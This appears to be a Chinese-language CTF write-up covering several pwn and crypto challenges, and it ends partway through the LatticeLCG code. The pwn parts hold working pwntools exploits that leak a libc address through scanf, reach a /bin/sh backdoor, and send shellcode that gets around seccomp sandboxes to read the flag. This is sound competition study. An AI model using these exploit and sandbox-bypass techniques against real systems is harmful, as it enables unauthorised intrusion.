都说开卷有益,其实作题也有益,每打一次总能学到点东西。
PWN
NewBottleOldWine
这个没作出来,一时还不明白RISC-V64怎么弄本地环境,不过看了WP感觉很简单,取flag用不着环境。
IDA不给翻译了,一点点看汇编。只有一个main,里边分成小段,
第一段前边是一堆puts,这里lui是传给它一个段号,然后addi加上偏移就得到具体地址。
然后读入一个数,从格式化串%lld来看是个8字节整形。红箭头上边这块将读入的数取出,转成w(sext.w前低16位符号位扩展为32位有符号整数)4字节整形,看是否大于0(bgtz:big then zero)如果大于0就跳到下边执行下一段,否则便exit。
第二段也是个判断,先取出数,然后和0x9f比较如果小于则跳到下一段,否则退出
第三段先是个puts然后 取出数字(lw:4字节整形)与start的地址相加,存到a5,然后中转到a5执行。
第4段是个后门,执行system(/bin/sh)
这里唯一的问题是这个数要小于0x9f且大于0,但是从 start到后门的偏移是0x220,由于第一次和0比较时用的低16位扩展成32位,第2次比较用的64位。所以这里可以设置一个负数:高4位为ff低4位是0x220这样第1次只用两字节通过,第2次用8字节显示是负数通过检查。这个数就是这样:
0xffffffff00000220
然后转成负数(-4294966750)输入取可。不需要写代码。
happy2
这个题也没完成,卡在了一个shellcode上。
题目先是一个proof,可以读入数字然后显示。显然是个泄露漏洞,用scanf时如果输入一个+或者-号后边没数字的话,就不会将读入的东西写入,这样就会显示原来内存里的内容。由于上一步执行的init这里显然会有一个_IO_2_1_stderr_的地址。gdb跟进找到位置即可。这时是2。写两个-然后得到libc,输入puts的地址即可过头。
unsigned __int64 proof()
{
unsigned int v1; // [rsp+8h] [rbp-A8h] BYREF
int i; // [rsp+Ch] [rbp-A4h]
int (**v3)(const char *); // [rsp+10h] [rbp-A0h] BYREF
int (**v4)(const char *); // [rsp+18h] [rbp-98h]
__int64 v5[17]; // [rsp+20h] [rbp-90h] BYREF
unsigned __int64 v6; // [rsp+A8h] [rbp-8h]
v6 = __readfsqword(0x28u);
v4 = &puts;
puts("How many things you want to konw");
__isoc99_scanf("%d", &v1);
if ( v1 >= 0x11 )
{
puts("Greedy!");
exit(0);
}
for ( i = 0; i < (int)v1; ++i )
{
__isoc99_scanf("%ld", &v5[i]);
printf("%ld", v5[i]);
}
puts("you konw enough you should know");
puts("now you need to have a try");
__isoc99_scanf("%ld", &v3);
if ( v4 != v3 )
exit(0);
return v6 - __readfsqword(0x28u);
}
后边似乎没有这个proof难,读入shellcode 到mmap得到的可读写区域然后执行。
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+4h] [rbp-Ch]
init();
proof();
v4 = fork();
if ( v4 )
{
printf("pid: %d\n", v4);
mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL);
read(0, (void *)0x10000, 0x1000uLL);
sandbox();
MEMORY[0x10000]();
}
else
{
love();
}
return 0;
}
当然没那么简单,这里设置了一个sandbox禁用了read,execveat等。由于execve也会用到read所以这个问题就比较麻烦了。
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x0000002a if (A == connect) goto 0010
0007: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0010
0008: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
我一开始作的是xenny的诱惑,所以想同样用open+readv+writev但一直不成功,估计是readv用的结构可能的问题。看到WP用的是open+pread64+write一试果然OK
from pwn import *
#p = process('./pwn')
p = remote('123.249.2.218', 10000)
context(arch='amd64', log_level= 'debug')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
#gdb.attach(p, "b*0x4015e7\nc")
#proof
p.sendlineafter(b"How many things you want to konw\n", b'2')
p.sendline(b'-')
p.recv(1)
p.sendline(b'-')
libc.address = int(p.recvuntil(b'you', drop=True)) - libc.sym['_IO_2_1_stderr_']
p.sendlineafter(b"now you need to have a try\n", str(libc.sym['puts']).encode())
bss_targ = 0x404000+0x800
#open(&filename, 0,0)
#pread64(fd, buf, len, 0)
#write(1, buf, len)
shellcode = '''
mov rax, 0x67616c66; push rax; mov rdi,rsp; xor rsi,rsi; xor rdx,rdx; mov rax,2;syscall;
mov rdi,3; mov rsi,0x404800;mov rdx,0x100;xor r10,r10;mov rax,17;syscall;
mov rdi,1; mov rsi,0x404800;mov rdx,0x100;mov rax,1;syscall;
'''
payload = asm(shellcode)
p.send(payload)
p.interactive()
xenny的诱惑
这题我吃完饭,涮完锅,然后回来作居然给留了二血
这题没有附件,连上后会给一大堆base64的码。先存下来分析。
这种原来也见过,给的是个程序,这个程序是程序生成的,每次都会变化,但大体流程上不变只是变个数字。
打开以后看到main直接调用fun0然后每个fun都有11个分支。一共有1000个结点。
最后一个应该是个后门,跟happy2差不多,也是个可读写执行的块,然后写shellcode,然后是sandbox
这个sandbox有意思,禁用了ORW
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL
这个ORW绕过用 openat+readv+writev
其中readv和writev需要从一个结构里读地址和长度,要先预设这个结构。
然后开始弄代码。这个程序由几小块完成。第1段获取代码,从中读出结点和每个结点的下级。应该是有程序可以解决这个,但我没有,我用的原始方法,从二进制代码里找。这个也有个优势就是这题有超时设置。自己读会比较省时间。
from pwn import *
from base64 import *
import sys
def show(f):
for i in f:
print(hex(i), len(func[i]))
for j in range(len(func[i])):
print(hex(func[i][j]), end=',')
print()
p = remote('node6.anna.nssctf.cn', 28005)
p.recvline()
msg = p.recvline().strip()
elf = b64decode(msg)
'''
#open('a.txt', 'wb').write(elf)
elf = open('a.elf','rb').read()
p = process('./a.elf')
'''
context(arch='amd64', log_level='debug')
#gdb.attach(p, "b*0x0000555555554000+0x13f8\nc")
#
pos = 0x1499
func = {}
for i in range(1000):
while not elf[pos:].startswith( b'\xF3\x0F\x1E\xFA'):
pos += 1
funid = pos
ptr = []
while not elf[pos:].startswith( b'\xb8\x00\x00\x00\x00\xe8'): #puts or xenny
pos += 1
pos += 6
v = (pos+4+u32(elf[pos:pos+4]))&0xffffffff
if v == 0x1381:
func[funid] = [0x1381]
continue
while not elf[pos:].startswith( b'\x3E\xFF\xE0'): #第1个jmp是puts的找switch case
pos += 1
pos+=3
while elf[pos:].startswith( b'\xb8\x00\x00\x00\x00\xe8'):
pos +=6
ptr.append((pos+4+u32(elf[pos:pos+4]))&0xffffffff)
#print(elf[pos:pos+4])
pos +=4
func[funid] =ptr
#print(i)
#if i>2:
# break
#print(func)
show(func)
然后找到这个路径。一开始用递归。看来这题专门对递归作了限制。不管是正向还是反向都会有环路。递归这东西应该是专门用来教学的。实际用的时候不应该用。至少要扁平化后才行。
way = []
first = 0x149a #step1
target = 0x1381 #xenny
'''
def dfs(tfunc, tt, head):
global way
if len(tfunc) == 0:
return
if tt == target:
way = head
return
k = tfunc.copy()
v = k.pop(tt)
#print(v, hex(tt))
for i in range(len(v)):
if v[i] in k:
dfs(k, v[i], head+[i])
dfs(func, first, [])
print('OK:',way)
'''
way = [[first,'']]
ok = False
sway = ''
while len(way):
print(len(way))
tway = []
for t_idx,t_s in way:
if not t_idx in func: continue
v = func.pop(t_idx)
for i in range(len(v)):
if v[i] == target:
sway = t_s
ok = True
break
tway.append([v[i], t_s+str(i+1)])
if ok:
break
if ok:
break
way = tway.copy()
print('ok:',sway)
然后输入这个代码,由于有必需tmp==1000的限制,这里前边补足0(0是直接加然后回到本级)这里漏了个问题,后来也懒得改,反正大概率成功。这里分支是11个,后边的是两位数,我只用了1位数存结果哈。一次成功,无所谓了。
for i in range(1000 - len(sway)):
p.sendline(b'0')
for i in sway:
p.sendline(i.encode())
最后是shellcode,flag和结构直接跟在后边
shellcode = ''
shellcode += shellcraft.openat(0,'/flag')
shellcode += shellcraft.readv(3,0x10110,1)
shellcode += shellcraft.writev(1,0x10110,1)
payload = asm(shellcode).ljust(0x100, b'\x00')+b'/flag\x00'.ljust(16, b'\x00')+ flat(0x10200, 0x100)
p.sendline(payload)
p.interactive()
CRYPTO
EzRSA
前两个密码非常简单
from Crypto.Util.number import *
from secret import flag
m = bytes_to_long(flag)
assert m.bit_length()<200
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 3
c = pow(m, e, n)
kbits = 103
m = (m >> kbits) << kbits
Mod = getPrime(1024)
hint1 = (2021-2023*m) % Mod
hint2 = pow(2, 2023, Mod)
print('n =',n)
print('c =',c)
print('hint1 =',hint1)
print('hint2 =',hint2)
看上去很复杂,但一想flag也没多长,而e=3直接开方即可。
FunnyEncrypt
这个给一堆图标,在尾部可以明显看出来flag的痕迹
✧✡✭
✡✮ ✣✴✯ ✤✶✬✬✱ ✬✤ ✱✦✢✥✮✯✧✧, ✴✬✷✯ ✡✧ ✣✴✯ ✶✡✰✴✣. ✡✣ ❂✢✡✮✰✧ ✩✬✸✤✬✢✣, ✤✦✡✣✴, ✦✮✱ ✩✬✮✤✡✱✯✮✩✯. ✡✣ ✰✡✲✯✧ ✳✧ ✰✳✡✱✦✮✩✯ ★✴✯✮ ★✯ ✦✢✯ ✶✬✧✣, ✦✮✱ ✰✡✲✯✧ ✧✳✷✷✬✢✣ ★✴✯✮ ★✯ ✦✢✯ ✦✤✢✦✡✱. ✦✮✱ ✣✴✯ ✸✬✸✯✮✣ ★✯ ✰✡✲✯ ✳✷ ✴✬✷✯, ★✯ ✰✡✲✯ ✳✷ ✬✳✢ ✶✡✲✯✧. ✣✴✯ ★✬✢✶✱ ★✯ ✶✡✲✯ ✡✮ ✡✧ ✱✡✧✡✮✣✯✰✢✦✣✡✮✰ ✡✮✣✬ ✦ ✷✶✦✩✯ ✬✤ ✸✦✶✡✩✯ ✦✮✱ ✴✦✣✢✯✱, ★✴✯✢✯ ★✯ ✮✯✯✱ ✴✬✷✯ ✦✮✱ ✤✡✮✱ ✡✣ ✴✦✢✱✯✢. ✡✮ ✣✴✡✧ ★✬✢✶✱ ✬✤ ✤✯✦✢, ✴✬✷✯ ✣✬ ✤✡✮✱ ❂✯✣✣✯✢, ❂✳✣ ✯✦✧✡✯✢ ✧✦✡✱ ✣✴✦✮ ✱✬✮✯, ✣✴✯ ✸✬✢✯ ✸✯✦✮✡✮✰✤✳✶ ✶✡✤✯ ✬✤ ✤✦✡✣✴ ★✡✶✶ ✸✦✥✯ ✶✡✤✯ ✸✯✦✮✡✮✰✤✳✶.
✧✬✸✯✣✡✸✯✧ ★✯ ✣✴✡✮✥ ✬✤ ✱✢✯✦✸✧ ✦✧ ✤✦✮✣✦✧✡✯✧ - ✡✣'✧ ✯✦✧✵ ✣✬ ✱✬ ★✴✯✮ ✵✬✳ ✴✦✲✯ ✸✬✮✯✵, ✢✯✮✣, ✦✮✱ ★✬✢✥. ❂✳✣ ✵✬✳ ✩✦✮'✣ ✷✢✯✷✦✢✯ ✵✬✳✢✧✯✶✤ ✦✮✱ ✫✳✸✷ ✬✤✤ ✣✴✯ ✩✶✡✤✤: ✵✬✳ ✧✴✬✳✶✱ ✰✢✬★ ✵✬✳✢ ★✡✮✰✧ ✤✡✢✧✣. ✦ ✶✡✣✣✶✯ ❂✡✣ ✣✬★✦✢✱ ✣✴✯ ✱✢✯✦✸. ✧✣✯✷ ❂✵ ✧✣✯✷. ✣✦✥✯ ✦ ✧✣✯✷ ✤✬✢★✦✢✱. ✦✤✣✯✢ ✦✶✶, ✡✣'✧ ✵✬✳✢ ✸✡✧✧✡✬✮.
✥✯✯✷ ✤✦✡✣✴ ✦✮✱ ✴✬✷✯ ✤✬✢ ✣✴✯ ✤✳✣✳✢✯. ✸✦✥✯ ✵✬✳✢ ✸✬✧✣ ✧✡✮✩✯✢✯ ✱✢✯✦✸✧, ✦✮✱ ★✴✯✮ ✣✴✯ ✬✷✷✬✢✣✳✮✡✣✡✯✧ ✩✬✸✯, ✣✴✯✵ ★✡✶✶ ✤✡✰✴✣ ✤✬✢ ✣✴✯✸. ✡✣ ✸✦✵ ✣✦✥✯ ✦ ✧✯✦✧✬✮ ✬✢ ✸✬✢✯, ❂✳✣ ✣✴✯ ✯✮✱✡✮✰ ★✡✶✶ ✮✬✣ ✩✴✦✮✰✯. ✦✸❂✡✣✡✬✮, ❂✯✧✣, ❂✯✩✬✸✯ ✦ ✢✯✦✶✡✣✵. ✦✮ ✳✮✩✯✢✣✦✡✮ ✤✳✣✳✢✯, ✬✮✶✵ ✬✮✯ ✧✣✯✷ ✦✣ ✦ ✣✡✸✯, ✣✴✯ ✴✬✷✯ ✩✦✮ ✢✯✦✶✡✪✯ ✣✴✯ ✱✢✯✦✸ ✬✤ ✣✴✯ ✴✡✰✴✯✧✣. ★✯ ✸✳✧✣ ✣✢✯✦✧✳✢✯ ✣✴✯ ✱✢✯✦✸, ✣✬ ✷✢✬✣✯✩✣ ✡✣ ✦ ✧✯✦✧✬✮, ✶✯✣ ✡✣ ✡✮ ✣✴✯ ✴✯✦✢✣ ❋✳✡✯✣✶✵ ✰✯✢✸✡✮✦✶.
✬✮✶✵ ★✴✯✮ ✵✬✳ ✳✮✱✯✢✧✣✦✮✱ ✣✴✯ ✣✢✳✯ ✸✯✦✮✡✮✰ ✬✤ ✶✡✤✯ ✩✦✮ ✵✬✳ ✶✡✲✯ ✣✢✳✶✵. ❂✡✣✣✯✢✧★✯✯✣ ✦✧ ✶✡✤✯ ✡✧, ✡✣'✧ ✧✣✡✶✶ ★✬✮✱✯✢✤✳✶, ✦✮✱ ✡✣'✧ ✤✦✧✩✡✮✦✣✡✮✰ ✯✲✯✮ ✡✮ ✣✢✦✰✯✱✵. ✡✤ ✵✬✳'✢✯ ✫✳✧✣ ✦✶✡✲✯, ✣✢✵ ✴✦✢✱✯✢ ✦✮✱ ✣✢✵ ✣✬ ✶✡✲✯ ★✬✮✱✯✢✤✳✶✶✵.
✡ ❂✯✶✡✯✲✯ ✣✴✯✢✯ ✡✧ ✦ ✷✯✢✧✬✮ ★✴✬ ❂✢✡✮✰✧ ✧✳✮✧✴✡✮✯ ✡✮✣✬ ✵✬✳✢ ✶✡✤✯. ✣✴✦✣ ✷✯✢✧✬✮ ✸✦✵ ✴✦✲✯ ✯✮✬✳✰✴ ✣✬ ✧✷✢✯✦✱ ✦✢✬✳✮✱. ❂✳✣ ✡✤ ✵✬✳ ✢✯✦✶✶✵ ✴✦✲✯ ✣✬ ★✦✡✣ ✤✬✢ ✧✬✸✯✬✮✯ ✣✬ ❂✢✡✮✰ ✵✬✳ ✣✴✯ ✧✳✮ ✦✮✱ ✰✡✲✯ ✵✬✳ ✦ ✰✬✬✱ ✤✯✯✶✡✮✰, ✣✴✯✮ ✵✬✳ ✸✦✵ ✴✦✲✯ ✣✬ ★✦✡✣ ✦ ✶✬✮✰ ✣✡✸✯.
✡✮ ✦ ★✬✢✱,✡ ✴✬✷✯ ✵✬✳ ★✡✶✶ ✶✡✥✯ ✩✢✵✷✣✬✰✢✦✷✴✵.✣✴✡✧ ✡✧ ✵✬✳✢ ✤✶✦✰:✮✧✧✩✣✤{✩✢✵✷✣✬_✡✧_✧✬_✡✮✣✯✢✯✧✣✡✮✰_★✴✵_✱✬✮'✣_✵✬✳_✫✬✡✮_✳✧}
应该是先换成字母再用quipquip字频分析。我是手工替换的,这个很容易,好多词都是固定的
SI✭
IN THE FLOOD OF DARKNESS, HOPE IS THE LIGHT. IT BRINGS COMFORT, FAITH, AND CONFIDENCE. IT GIVES US GUIDANCE WHEN WE ARE LOST, AND GIVES SUPPORT WHEN WE ARE AFRAID. AND THE MOMENT WE GIVE UP HOPE, WE GIVE UP OUR LIVES. THE WORLD WE LIVE IN IS DISINTEGRATING INTO A PLACE OF MALICE AND HATRED, WHERE WE NEED HOPE AND FIND IT HARDER. IN THIS WORLD OF FEAR, HOPE TO FIND BETTER, BUT EASIER SAID THAN DONE, THE MORE MEANINGFUL LIFE OF FAITH WILL MAKE LIFE MEANINGFUL.
SOMETIMES WE THINK OF DREAMS AS FANTASIES - IT'S EASY TO DO WHEN YOU HAVE MONEY, RENT, AND WORK. BUT YOU CAN'T PREPARE YOURSELF AND JUMP OFF THE CLIFF: YOU SHOULD GROW YOUR WINGS FIRST. A LITTLE BIT TOWARD THE DREAM. STEP BY STEP. TAKE A STEP FORWARD. AFTER ALL, IT'S YOUR MISSION.
KEEP FAITH AND HOPE FOR THE FUTURE. MAKE YOUR MOST SINCERE DREAMS, AND WHEN THE OPPORTUNITIES COME, THEY WILL FIGHT FOR THEM. IT MAY TAKE A SEASON OR MORE, BUT THE ENDING WILL NOT CHANGE. AMBITION, BEST, BECOME A REALITY. AN UNCERTAIN FUTURE, ONLY ONE STEP AT A TIME, THE HOPE CAN REALI✪E THE DREAM OF THE HIGHEST. WE MUST TREASURE THE DREAM, TO PROTECT IT A SEASON, LET IT IN THE HEART ❋UIETLY GERMINAL.
ONLY WHEN YOU UNDERSTAND THE TRUE MEANING OF LIFE CAN YOU LIVE TRULY. BITTERSWEET AS LIFE IS, IT'S STILL WONDERFUL, AND IT'S FASCINATING EVEN IN TRAGEDY. IF YOU'RE JUST ALIVE, TRY HARDER AND TRY TO LIVE WONDERFULLY.
I BELIEVE THERE IS A PERSON WHO BRINGS SUNSHINE INTO YOUR LIFE. THAT PERSON MAY HAVE ENOUGH TO SPREAD AROUND. BUT IF YOU REALLY HAVE TO WAIT FOR SOMEONE TO BRING YOU THE SUN AND GIVE YOU A GOOD FEELING, THEN YOU MAY HAVE TO WAIT A LONG TIME.
IN A WORD,I HOPE YOU WILL LIKE CRYPTOGRAPHY.THIS IS YOUR FLAG:nssctf{crypto_is_so_interesting_why_don't_you_join_us}
Math
这个没完成,但收获比较大,费马逆推第一次。
题目分两部分,第1是给了invert(p,q),invert(q,p)和phi
from secret import flag
from Crypto.Util.number import *
import gmpy2
length = len(flag)
flag1 = flag[:length//2]
flag2 = flag[length//2:]
e = 65537
m1 = bytes_to_long(flag1)
p = getPrime(512)
q = getPrime(512)
n = p*q
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
p1 = gmpy2.invert(p,q)
q1 = gmpy2.invert(q,p)
c = pow(m1,e,n)
print("p1=",p1)
print("q1=",q1)
print("c=",c)
print("phi=",phi)
这里在大姥2021年博客里有,但拿那个方法没成功,他在博客里说了原文地址,在github上找到后一运行成功。
p1= 3020925936342826638134751865559091272992166887636010673949262570355319420768006254977586056820075450411872960532347149926398408063119965574618417289548987
q1= 4671408431692232396906683283409818749720996872112784059065890300436550189441120696235427299344866325968178729053396743472242000658751114391777274910146291
c= 25112054943247897935419483097872905208058812866572413543619256987820739973912338143408907736140292730221716259826494247791605665059462509978370784276523708331832947651238752021415405546380682507724076832547566130498713598421615793975775973104012856974241202142929158494480919115138145558312814378701754511483
phi= 57503658815924732796927268512359220093654065782651166474086873213897562591669139461637657743218269483127368502067086834142943722633173824328770582751298229218384634668803018140064093913557812104300156596305487698041934061627496715082394633864043543838906900101637618600513874001567624343801197495058260716932
#https://github.com/pcw109550/write-up/tree/master/2019/HITCON/Lost_Modulus_Again
d = gmpy2.invert(e, phi)
kn = e * d - 1
count = 0
def solve(a, b, c):
D = b ** 2 - 4 * a * c
assert gmpy2.is_square(D)
x1 = (-b + gmpy2.isqrt(D)) // (2 * a)
x2 = (-b - gmpy2.isqrt(D)) // (2 * a)
return x1, x2
for k in range(3, e):
if kn % k == 0:
count += 1
phi_n = kn // k
# coefficients of quadratic eq
a = x - 1
b = x * y - 1 + (x - 1) * (y - 1) - phi_n
c = (y - 1) * (x * y - 1)
try:
k1, k2 = solve(a, b, c)
if (x * y - 1) % k1 == 0:
k2 = (x * y - 1) // k1
elif (x * y - 1) % k2 == 0:
k1, k2 = k2, (x * y - 1) // k2
else:
assert False
p, q = x + k2, y + k1
N = p * q
flag = long_to_bytes(pow(ct, d, N)).strip()
break
except AssertionError:
pass
print(flag)
#NSSCTF{e713afa4-fcd8-4
后来看WP还有更简单的方法
#方法2
import z3
import libnum
s = z3.Solver()
p, q = z3.Ints('p q')
#invp*p = 1 mod q ; invq*q = 1 mod p
#????
s.add(p*q == pinv * p + qinv * q - 1)
s.add(phi == (p-1)*(q-1))
print(s.check())
m = s.model()
p = m[p].as_long()
q = m[q].as_long()
d = libnum.invmod(e, phi)
flag = pow(c,d,p*q)
flag1 = libnum.n2s(flag)
第二部分似曾相识,可原来都是两个式子,这里是一个
m2 = bytes_to_long(flag2)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m2, e, n)
hint = pow(2023 * p + 114514, q, n)
print("n=",n)
print("c=",c)
print("hint=",hint)
后来看大姥WP并问了若干次才明白。这个叫费马小定理逆推。
先对原式模p得到
然后逆推一下
这里的114514^q可以替换成114514^N这样去掉q以后与N取公因子就得到p了
n= 12775720506835890504634034278254395430943267336816473660983646973423280986156683988190224391394224069040565587173690009193979401332176772774003070053150665425296356891182224095151626957780349726980433545162004592720236315207871365869074491602494662741551613634958123374477023452496165047922053316939727488269523121920612595228860205356006298829652664878874947173274376497334009997867175453728857230796230189708744624237537460795795419731996104364946593492505600336294206922224497794285687308908233911851722675754289376914626682400586422368439122244417279745706732355332295177737063024381192630487607768783465981451061
c= 11915755246503584850391275332434803210208427722294114071001100308626307947436200730224125480063437044802693983505018296915205479746420176594816835977233647903359581826758195341201097246092133133080060014734506394659931221663322724002898147351352947871411658624516142945817233952310735792476179959957816923241946083918670905682025431311942375276709386415064702578261223172000098847340935816693603778431506315238612938066215726795441606532661443096921685386088202968978123769780506210313106183173960388498229061590976260661410212374609180449458118176113016257713595435899800372393071369403114116302366178240855961673903
hint= 3780943720055765163478806027243965253559007912583544143299490993337790800685861348603846579733509246734554644847248999634328337059584874553568080801619380770056010428956589779410205977076728450941189508972291059502282197067064652703679207594494311426932070873126291964667101759741689303119878339091991064473009603015444698156763131697516348762529243379294719509271792197450290763350043267150173332933064667716343268081089911389405010661267902446894363575630871542572200564687271311946580866369204751787686029541644463829030926902617740142434884740791338666415524172057644794094577876577760376741447161098006698524808
#hint = pow(2023p+114514,q,n)
#hint =(ap+b)^q (mod p)
# = b^q (mod p) 二项式定理
# = b^p*b^q (mod p)= b^N (mod p) #费马小定理反推 b^N = b^(pq) = (b^q)^p = b^q mod p
from gmpy2 import gcd,invert
from Crypto.Util.number import long_to_bytes
p = gcd(hint - pow(114514,n,n), n)
m = pow(c,invert(e,p-1),p)
long_to_bytes(m)
#19f-a1a6-959449b4df5a}
LatticeLCG
这题一开始两个小e然后两个c显然是共模攻击,但是没有给n
然后n作为lcg的模给了两个值
最后给出随机的20个e和一个随机数的20个c
from Crypto.Util.number import *
flag = b'NSSCTF{******************************}'
a = getPrime(512)
seed = getPrime(512)
b = bytes_to_long(flag)
n = getPrime(1024)
e1 = 2333
e2 = 23333
c1 = pow(a,e1,n)
c2 = pow(a,e2,n)
output = []
for i in range(10):
seed = (a*seed+b)%n
output.append(seed)
print("c1 = ",c1)
print("c2 = ",c2)
print("output1 = ",output[0])
print("output2 = ",output[1])
e = [getPrime(128) for _ in range(20)]
out = []
m = getPrime(64)
for i in e:
out.append(pow(m,i,n))
print("e=",e)
print("out=",out)
第一步用这20组e,c求n用直列格规约
es= [297332330847212015073434001239859795661, 247136911662054641479463124065475615181, 269964458627145370722389742095701827701, 270745917671094194052444327351021588037, 254010082507930275771798119457499420531, 219178601856077385518322602059961601013, 226562702503988968288128483964146379529, 236756812424464516919183114495913408541, 330800121752029915693039296018980956519, 244800084005240595691424199440981715431, 171753849214889522920105847094773384191, 175843874533972361422410968920873382741, 326554577162848075059517044795930784993, 181842368629269753698222635712342485771, 221634122983362091660188171985742369561, 314244561819808202322467576330355199409, 286703236198397527318161582654787197007, 298101543059628501506668748374542117409, 304158884506393754601331945634109778837, 227577031261920314010408499530794497453]
cs= [100163998802948218573427220530909801629443946118807841130458771881611961921044413091457977957530737347507311468578174294420439883266450142918647561103714976340598499984679873518770686239019753272419975426555435266764099822607336645955391865380657632176223122712125661464370522088500110746571354290680063421912, 123528268396018633078964378145622645321836134964966941909300627704018826667414656614011250938241127521627117348901416042868382174504514240509791471909819407751786633761392047187057200130450960708049681366686147337178110669163142189940397343388837018627392202704211693014162963133958078984558400205296509955066, 50364974727218716170137342348825758682286710377257708196467656986986475658591351848251278364177715325447140300281348027787487944839878770556527568407280736570303345044999352851718908253510696083227344179177110348363623815158409862985684687329665113210373028159714648637297476014803935686233984711925346269925, 9159042298258514259206302054907530984498816597282237786310355131965025367180505822032135021520906576471052417629425493533222088036674196397387325202128095476044308794426593565419139845832998557280786358482011226957053125314152322427131984411160984485669030286331376124575677908877399942011661647598763754231, 83466948172962290899792524342204996697711370224947233607865306692546824512672969402433314856742908546253967225963904395036102408684746619744412073888614033881366518452878344698289278946024167788789718690655953517892282374396760436658422838909903123439370164929347147855359470889455753772857233516742991766128, 72028057477369331020972407277180913909557985390590548305094935208898254733240351763155769013959589016793318772858662702447133499307826143247356049051993727167694036585280387890126287679890730586145740176250715386149857291210207281073772478229355625725300592003798974298248102432508449566953296818450441875311, 63397152736399466888877444377156185012692670493456346196278062009641363047685720620967313379507212944658351683022480839941265221126018392433078546696140135677499181555082643172378488800458657825640013090182171355299282023794908520172571785687147143015581400891531296496177973817400317905868361800342940667657, 45427004823510815929685208038284324980662968275105063862891077759131069014314933978878667052450145039482242546093735499108826130367476890384431317243013990394189191560941678120985717370542332803012619694821129395559214706968432476548145608291516176910849698455496733056096163035964057523545705356926187216133, 85046100612081858546755294340770681541320509587396377967875404950325314121709046137842413744740490231945105758075761946555179595664901813127463402854440384657046429776033129391138370272524736543471909307910018577738207910417672603889922445435939876023878220177983424547612635006926243055642166274730894301704, 5833380233103086014860892228744764647016585478949686583145531659689295506666493518453642500086277427538189091865461553097914845680665917702500908205558454036911757659426809969367680394533585635383007758339917554453268182491874683638880986360065633842854622244953985055815937671635222264056071882344388307409, 83587615309194701727032548415548847571046191382552371312058083137102227325098839286526833147951063338204327145093831238962818333112251936853329663907079943414231588222256242520221314528944937229985997926851198158564313703719031124442094987245466116488897263358510493905440842917634723859176839440753120904481, 108651960334634726889543063749359050688114025706494125848785084643330096858725917513596985853593252388835207675036982640195609499739937405655156895161071906340785173459426867946058638393154997931747445494284445204735492709747637173698383609764016673932827648159152658645291248613736662020472251048171789274368, 118612010487916657134965416492319303083994743753602531817008130269546146141506819718265549648441671373744766173780682168587021797626910931105508317440664521595783406848956221465897709761805869130021172013000282497881581247777388315282629463546261696169893882772397797722134711444928443061384985458691749569847, 106808406616890955924408992591724627593882118490933791849624747503316110669154243209826761617940864170830792705070618439466645580274835929100331418955890808763286193770831205511071440703609240364726061677822134370309018443508205980554831705850988319397384130044484586798585896460152167042282847992593429629533, 88091869606421350393441194783722851111189272445506506936925797213395319937783082680078622732926273935980894566775394134783157488360516905477700601820480975112122167589887641130656305741351643175495552454293030309247254533571254198691204714097846510872592569447050033289483493274672346210063885124570695832880, 94400859500860667431780782962782396345261822402898708716634581228428633704975879685572548692997007974004673676539496590659276952154740096463133011458100387006276325192223993452314873089466451613079029429327880672384210802191677586975844471189127835578979108767548290181668434770385199468588493042256788539610, 76177813724283720012398394789596589415486093955132688784865364048503447246391866424200071522136707581280434193680972230914105236504028522288780213089260160776489804587209115330412067560802680789338779056583047491942817016437672075192528508677997165703606520158178725128251694801612417667440677124932361973397, 17188209523466762369281362386525396145127294763502094183797065621821932913685690176344514910405677170931795652509426794846131051983826422536084073462084935517166603832542862106287058675490933197600813710203114108790043880150305327523679949543592622443904084453387396870899883324751789625806819506542619123964, 120007173989070249117019147454557020213723707722383599019972471016186584968096445904023372671513462965078400715365736756710078805039115601609874780421117795585342458478316236202328120583456334489780231976628584606042971207759763658961365139429661536955996519512283283500790612975034779837647053750631763512799, 18797057418663411295612229938999282286746920748194349166509084258061650142260043277698907538088835210620841171754186980908772147495732980563542600139935202965632319542217264685208215907551992891370166006725534397313373079841419662622936316343820775075897977228084528246337988431658221881343556854053475137330]
#求n
B = matrix(ZZ, 2, 20)
B[0] = es
B[1] = [1 for _ in range(20)]
M = B.right_kernel_matrix()
L = M.LLL()
#求n
def compute_kn(coff):
res_right = 1
res_left = 1
for i ,cof in enumerate(coff):
if cof > 0:
res_right = res_right * cs[i]**cof
else:
res_left = res_left * cs[i]**(-cof)
return res_left - res_right
#最大公约数
n = compute_kn(L[0])
for l in L[1:]:
n = gcd(compute_kn(l),n)
n = factor(n,limit = 2**20)[-1][0]
if n.nbits() <= 2048:
break
print(n)
n = 144195616225517130139553879032789087363345719184209965153957734484017481087563259298073412179385691339856835367038233652960921043438130441546622467854561746540234185779818652424614702625694747523202592051400384839225423182264627929190443610610683526608116658120285614198376504623869469278859145863411493155577
第二步共模攻击求因子a
#共模攻击
e1 = 2333
e2 = 23333
